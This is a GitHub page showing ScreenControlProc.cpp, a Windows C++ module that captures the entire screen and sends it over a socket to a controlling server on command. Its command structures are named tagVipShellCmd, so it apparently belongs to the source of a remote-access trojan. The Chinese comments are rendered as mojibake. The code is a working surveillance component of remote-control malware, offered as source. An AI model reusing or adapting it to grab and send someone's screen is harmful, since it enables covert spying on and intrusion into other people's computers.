-
Notifications
You must be signed in to change notification settings - Fork 2
Expand file tree
/
Copy pathScreenControlProc.cpp
More file actions
73 lines (66 loc) · 1.75 KB
/
ScreenControlProc.cpp
File metadata and controls
73 lines (66 loc) · 1.75 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
#include ".\screencontrolproc.h"
CScreenControlProc::CScreenControlProc(void)
{
m_dwStartTime = GetTickCount();
}
CScreenControlProc::~CScreenControlProc(void)
{
}
void CScreenControlProc::OnCmd_GetDoWork(tagVipShellCmd* info)
{
tagVipShellCmd SendInfo;
SendInfo.dwCmd = 1;
SendInfo.dw1 = m_dwConnectId;
// memcpy(SendInfo.pBuff, m_pSysinfo, sizeof(tagServerSystemInfo));
m_hServer->Send(&SendInfo, sizeof(tagVipShellCmd));
}
void CScreenControlProc::OnCmd_GetScreen(tagVipShellCmd* info)
{
if ( GetTickCount() - m_dwStartTime > 3000 )
{
m_hDesktop._CloseDesktop();
m_hDesktop._OpenDesktop();
m_dwStartTime = GetTickCount();
}
tagVipShellCmd SendInfo;
m_hScreen.SetBitCount(info->dw1);
RECT rcScreen;
rcScreen.left = 0;
rcScreen.top = 0;
rcScreen.right = GetSystemMetrics(SM_CXSCREEN);
rcScreen.bottom = GetSystemMetrics(SM_CYSCREEN);
m_hScreen.LockData(false);
if( !m_hScreen.CopyScreenToData(&rcScreen) )
{
//ʧ°Ü
SendInfo.dwCmd = CMD_ERROR;
m_hServer->Send(&SendInfo, sizeof(tagVipShellCmd));
return ;
}
DWORD dwLzw = 0;
DWORD dwLen = 0;
BYTE* bBuf = NULL;
m_hScreen.GetDataSource(NULL, &dwLen, &bBuf, &dwLzw);
if( bBuf == 0 || dwLzw == 0 || dwLen == 0)
{
//ʧ°Ü
SendInfo.dwCmd = CMD_ERROR;
m_hServer->Send(&SendInfo, sizeof(tagVipShellCmd));
return ;
}
SendInfo.dwCmd = CMD_ISOK;
SendInfo.dw1 = dwLzw;
SendInfo.dw2 = dwLen;
m_hServer->Send(&SendInfo, sizeof(tagVipShellCmd));
int nRet = m_hServer->Recv(&SendInfo, sizeof(tagVipShellCmd));
if( nRet == SOCKET_ERROR)
return ;
//´«¸øÁ¬½Ó
nRet = _SendBuffData(bBuf, dwLzw);
if( nRet == SOCKET_ERROR)
m_hServer->Close();
}
void CScreenControlProc::SetConnectId(DWORD dwId)
{
m_dwConnectId = dwId;
}